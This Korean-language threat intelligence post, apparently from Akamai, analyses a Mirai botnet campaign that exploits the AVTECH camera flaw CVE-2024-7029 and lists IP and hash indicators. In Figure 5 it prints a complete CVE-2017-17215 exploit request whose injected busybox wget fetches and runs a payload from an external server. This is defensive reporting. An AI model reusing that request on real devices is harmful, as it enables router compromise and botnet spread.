보안 취약점을 주의하세요: 제로데이를 통해 유포되는 Corona Mirai 봇넷
편집 및 추가 설명: 트리샤 하워드(Tricia Howard)
카피 편집: 마리아 블라삭(Maria Vlasak)
핵심 요약
Akamai 보안 인텔리전스 대응팀(SIRT)은 이전에 악용된 여러 취약점을 악용하는 봇넷 캠페인을 관찰했으며 제로데이 취약점도 발견했습니다.
CVE-2024-7029(알린 엘리오비치(Aline Eliovich)가 발견)는 AVTECH 폐쇄 회로 텔레비전(CCTV) 카메라의 밝기 함수에서 발견된 명령어 인젝션 취약점으로, 원격 코드 실행(RCE)을 허용합니다.
이 봇넷은 일단 감염되면 최소 2020년부터 발견된 코로나19 바이러스를 참조하는 문자열 이름을 가진 Mirai 변종을 유포합니다.
Akamai는 이러한 위협으로부터 방어하는 데 도움이 되는 감염 지표(IOC) 목록을 포함했습니다.
서론
Akamai SIRT는 자신과 고객의 온라인 라이프를 안전하게 지키기 위해 수많은 내부 및 외부 인텔리전스 피드를 모니터링하고 참여합니다. Akamai는 글로벌 허니팟 네트워크를 통해 오늘 논의하는 CVE-2024-7029( 알린 엘리오비치(Aline Eliovich)가 발견)을 포함해 여러 가지 활성 위협을 발견했습니다.
이 RCE 제로데이 취약점은 AVTECH IP 카메라 디바이스의 밝기 함수에서 발견되었으며, 명령어 인젝션을 통해 표적 시스템에 Mirai 변종을 유포시킵니다. 이는 상승된 권한(실행 프로세스 소유자)을 사용해 원격으로 실행될 수 있습니다. 2024년 8월, CISA는 공격 복잡성 부족, 원격 악용, 알려진 공개 악용을 이유로 이 취약점에 대해 ICS(Industrial Control System) 경고 를 발령했습니다.
이 봇넷 캠페인은 CVE-2024-7029 외에도 여러 개의 AVTECH 취약점, Hadoop YARN RCE, CVE-2014-8361, CVE-2017-17215등 여러 취약점을 표적으로 삼습니다. 이는 악의적인 목적을 달성하기 위해 아직 패치되지 않은 취약점을 사용하는 공격자들의 경향과 일맥상통합니다.
지금이 패치를 적용할 때
CVE-2024-7029란?
간단히 말해, CVE-2024-7029는 AVTECH IP 카메라 디바이스의 취약점으로, “action=” 매개변수의 “brightness“ 인수가 명령어 인젝션을 허용합니다. Akamai가 관찰한 공격자는 이 취약점을 악용해 코로나19 바이러스를 참조하는 문자열 이름을 가진 Mirai 변종을 유포했습니다.
활성 상태 기간
영향을 받는 대상
AVTECH IP 카메라 디바이스의 이 취약점은 최대 AVM1203 펌웨어 버전 FullImg-1023-1007-1011-1009 등에 영향을 줍니다. 문제의 모델은 이미 수년 전에 생산이 중단되었지만, CISA는 경고를 통해 이러한 디바이스가 전 세계적으로 교통 당국 및 기타 중요 인프라 기관 등에서 여전히 사용되고 있다고 언급했습니다.
작동 방식
이 취약점은 원래 허니팟 로그를 조사하면서 발견되었습니다. 그림 1에는 명확성을 위해 디코딩된 URL이 표시되어 있습니다.
그림 1: 악용 시도에서 디코딩된 페이로드 본문
취약점은 /cgi-bin/supervisor/Factory.cgi 파일 내의 밝기 함수에 존재합니다(그림 2).
그림 2: 악용의 PoC
향후 예측
Akamai가 관찰한 악용 사례에서 기본적으로 발생한 것은 이렇습니다. 공격자는 이 취약점을 악용해 표적 시스템에서 원격 코드를 실행할 수 있다라는 것입니다.
그림 3은 이 취약점을 악용해 자바스크립트 파일을 다운로드하고 실행해 주요 멀웨어 페이로드를 패치하고 로드하는 공격자의 예시입니다. 다른 많은 봇넷과 마찬가지로이 봇넷도 Mirai 멀웨어의 변종을 표적에 유포하고 있습니다.
그림 3: 자바스크립트 다운로더의 문자열
이 경우 봇넷은 코로나19 바이러스와 관련하여 2020년 초 다른 벤더사 가 참조한 Corona Mirai 변종을 사용하고 있을 가능성이 높습니다.
실행 시 이 멀웨어는 포트 23, 2323, 37215에서 Telnet을 통해 많은 수의 호스트에 연결됩니다. 또한, ‘Corona’ 문자열을 감염된 호스트의 콘솔에 인쇄합니다(그림 4).
그림 4: 콘솔에 아웃풋을 표시하는 멀웨어의 실행
멀웨어 샘플의 문자열을 정적 분석한 결과, CVE-2017-17215의 영향을 받는 Huawei 디바이스를 악용하려는 시도로 /ctrlt/DeviceUpgrade_1 경로를 표적으로 삼는 것으로 나타났습니다. 샘플에는 두 개의 하드코딩된 명령 및 제어 IP 주소가 있는데, 그중 하나는 CVE-2017-17215 악용 코드의 일부입니다(그림 5).
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"
<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
그림 5: CVE-2017-17215 /ctrlt/DeviceUpgrade_1 코드 악용
이 봇넷은 또한 Hadoop YARN RCE, CVE-2014-8361, CVE-2017-17215를 비롯한 여러 다른 취약점을 노렸습니다. 이러한 취약점이 인터넷에서 여러 번 악용되는 것이 관찰되었고 계속해서 성공하고 있습니다.
결론
공식적인 CVE 지정이 없는 취약점도 기업에 실제로 심각한 위협이 될 수 있습니다. 이러한 봇넷을 운영하는 악의적인 공격자들은 새로운 취약점이나 잘 알려지지 않은 취약점을 사용해 멀웨어를 확산시킵니다. CVE-2024-7029는 후자를 사용하는 또 다른 예시로, SIRT가 관찰한 공격 트렌드가 점점 더 대중화되고 있습니다.
공개 악용이나 사용 가능한 PoC가 있는 취약점에는 공식적으로 CVE가 지정되지 않은 경우가 많으며, 경우에 따라서는 패치가 적용되지 않은 채로 남아 있는 경우도 있습니다. 특히 위협에 사용 가능한 패치가 없는 경우 패치 우선순위를 관리하는 것이 매우 어렵습니다. 위협을 해결할 방법이 없다면 하드웨어와 소프트웨어를 폐기하는 것이 보안 리스크를 방어하고 규제 과징금의 리스크를 낮추는 데 권장되는 방법입니다.
Akamai와 항상 함께하세요
IOCS
IPv4 주소
93.123.39[.]72
93.123.39[.]87
93.123.39[.]111
147.78.103[.]177
185.216.70[.]37
94.156.8[.]185
93.123.39[.]173
74.50.81[.]158
94.156.71[.]74
93.123.85[.]213
185.216.70[.]142
45.66.231[.]148
185.216.70[.]79
SHA256 해시
15a1d52c529d314bb2b5fa8b8bd6c6a496609a283dd0e78e595c929e720d1b5b (“r”)
c0ae1eb249705f61d45ca747c91c02a411557a28792f4064c1d647abb580bc10 (“x86”)
b0f7ef937d77061515907c54967a44da3701e0d2af143164bbf44bb4fc6f26af (“sh”)
e82192fbe00bc7205abe786155bbfc0548f5c6ee9819a581e965526674f3cc57 (“mips”)
9e9e481bb448438572c2695469c85f773ddcd952025e45bee33bbfce2531c656 (“r”)
f4bf61fc335db4f3e7d7d89b534bc1e6ead66a51938e119ea340fe95039935e3 (“mips”)
22553be649f76a060ebbdfd410e295b66803e9c49d23369a726be2c5a25733ab (“sh”
135264de24d499877e95673b9cca737e488042813f41fef7817728a704323fe2 (“r”)
6ad5984bc9af7af6962a080bbb1a35bb56e8671c4b9c1d44e88da5a3f6b9aa82 (“r”)
947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212 (“r”)
8ac82a770cffbbc8fba73554d7caa117ef6d37ffee468665b95bc406449f91b5 (“r”)
5e264cb009c4d84b6180e47b9ceda3af8897b17b88fccc9c2914706d66abd1d1 (“r”)
372eefdc4bf9f4a4382db2762fcf9a9db559c9d4fff2ee5f5cf5362418caaa92 (“r”)
3995a7e7eb8eeafb0b6da2c3813e61d11993a820d478c87809136de79d8f8280 (“sh”)
40d8f662c187b53fd6fdeb70db9eb262b707e557d3fa4e5e4eacaeaa03ac45f2 (“r”)
4826b0194fbd924aa57b9c4ab1e017f0f45f547189374b0ea761d415fa4285ff (“x86”)
25945c4fe38ed2008f027bd1484b89867b23528c738812d317ddf57f48666b91 (“r”)
cfcae524309a220a48327c50bf32bf5ed3aed5698855b5da9f1ae932fb2df90c (“x86”)
774947944ea370592a30478bb3f26081799f7d7df975a6735e620d3442e7803b (“x86”)
06b1f09a62204472581e6aec381f96014bb6cc3fc1a9cef38bbcfe88bd82e499 (“r”)
4f50d318688c80f08eb7fad6f8788cae459c3420b3b9eb566f936edd7a780ae1 (“sh”)
c15bbfb85bfd8305fad8cc0e0d06cbe825e1e6fc6d8dbe5a8d1ac4243bd77d0c (“x86”)
0a566c39ecbc4107f954cb3e5e240ccaf0018dfac9b5062b4db7971fb3d9f413 (“x86”)
2d7351aa765bb2feed9536cc392b2013361c193e99841c5b56591d988bd4b582 (“x86”)
5d58f0fa54784e9c90825cba9e2052f691cdcfe85b0796a6379982832563090d (“x86”)